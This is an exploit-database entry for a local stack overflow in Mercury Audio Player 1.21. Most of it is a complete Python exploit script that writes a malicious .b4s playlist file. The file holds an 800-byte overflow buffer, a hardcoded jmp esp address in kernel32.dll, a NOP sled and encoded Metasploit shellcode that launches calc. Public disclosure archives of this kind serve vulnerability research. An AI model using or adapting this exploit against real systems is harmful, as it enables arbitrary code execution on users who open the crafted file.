Mercury Audio Player 1.21 (.b4s) Local Stack Overflow

vendor:

Mercury Audio Player

by:

His0k4

7.5

CVSS

HIGH

Stack Overflow

CWE

Product Name: Mercury Audio Player

Affected Version From: Mercury Audio Player 1.21

Affected Version To: Mercury Audio Player 1.21

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Pro SP3

Unknown

Mercury Audio Player 1.21 (.b4s) Local Stack Overflow

This exploit is for Mercury Audio Player 1.21 (.b4s) which allows local stack overflow. The exploit code was created by His0k4. It has been tested on Windows XP Pro SP3 (EN). The vulnerability allows an attacker to execute arbitrary code by overflowing the stack. The exploit uses a jump instruction to the address 0x7C868667 in kernel32.dll. It also includes some nops (no-operation instructions) for padding.

Mitigation:

Unknown

Source

Exploit-DB raw data:

#usage: exploit.py
print "**************************************************************************"
print " Mercury Audio Player 1.21 (.b4s) Local Stack Overflow\n"
print " Refer: http://www.milw0rm.com/exploits/8578"
print " Exploit code: His0k4"
print " Tested on: Windows XP Pro SP3 (EN)\n"
print " greetz: TO ELITE ALGERIANS,snakespc.com\n"
print "**************************************************************************"
         	

header1 = (
"\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31"
"\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x27\x55\x54"
"\x46\x2d\x38\x27\x20\x73\x74\x61\x6e\x64\x61\x6c\x6f\x6e\x65\x3d"
"\x22\x79\x65\x73\x22\x3f\x3e\x0d\x0a\x3c\x21\x2d\x2d\x20\x54\x68"
"\x65\x20\x74\x61\x67\x20\x62\x65\x6c\x6f\x77\x20\x70\x72\x6f\x76"
"\x69\x64\x65\x73\x20\x63\x6f\x6d\x70\x61\x74\x69\x62\x69\x6c\x69"
"\x74\x79\x20\x77\x69\x74\x68\x20\x57\x69\x6e\x61\x6d\x70\x33\x20"
"\x2d\x2d\x3e\x0d\x0a\x20\x3c\x57\x69\x6e\x61\x6d\x70\x58\x4d\x4c"
"\x3e\x0d\x0a\x3c\x21\x2d\x2d\x20\x47\x65\x6e\x65\x72\x61\x74\x65"
"\x64\x20\x62\x79\x20\x4d\x65\x72\x63\x75\x72\x79\x20\x41\x75\x64"
"\x69\x6f\x20\x50\x6c\x61\x79\x65\x72\x20\x31\x2e\x32\x31\x20\x2d"
"\x2d\x3e\x0d\x0a\x20\x20\x3c\x70\x6c\x61\x79\x6c\x69\x73\x74\x20"
"\x6e\x75\x6d\x5f\x65\x6e\x74\x72\x69\x65\x73\x3d\x22\x31\x22\x20"
"\x6c\x61\x62\x65\x6c\x3d\x22\x50\x6c\x61\x79\x6c\x69\x73\x74\x20"
"\x30\x30\x31\x22\x3e\x0d\x0a\x20\x20\x20\x20\x3c\x65\x6e\x74\x72"
"\x79\x20\x50\x6c\x61\x79\x73\x74\x72\x69\x6e\x67\x3d\x22\x66\x69"
"\x6c\x65\x3a")

header2 = (
"\x2e\x6d\x70\x33\x22\x3e\x0d\x0a\x20\x20\x20\x20\x20\x20\x3c\x4e"
"\x61\x6d\x65\x3e\x20\x2d\x20\x3c\x2f\x4e\x61\x6d\x65\x3e\x0d\x0a"
"\x20\x20\x20\x20\x3c\x2f\x65\x6e\x74\x72\x79\x3e\x0d\x0a\x20\x20"
"\x3c\x2f\x70\x6c\x61\x79\x6c\x69\x73\x74\x3e\x0d\x0a\x20\x3c\x2f"
"\x57\x69\x6e\x61\x6d\x70\x58\x4d\x4c\x3e\x0d\x0a")
			
buff = "\x41" * 800
jump = "\x67\x86\x86\x7C" # jmp esp kernerl32.dll
nops = "\x90"*6

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x47"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58"
"\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x58"
"\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x43\x45\x48\x42\x4c\x4a\x47"
"\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x56\x43\x36\x42\x30\x5a")

exploit = header1 + buff + jump + nops + shellcode + header2

try:
    out_file = open("exploit.b4s",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-04-30]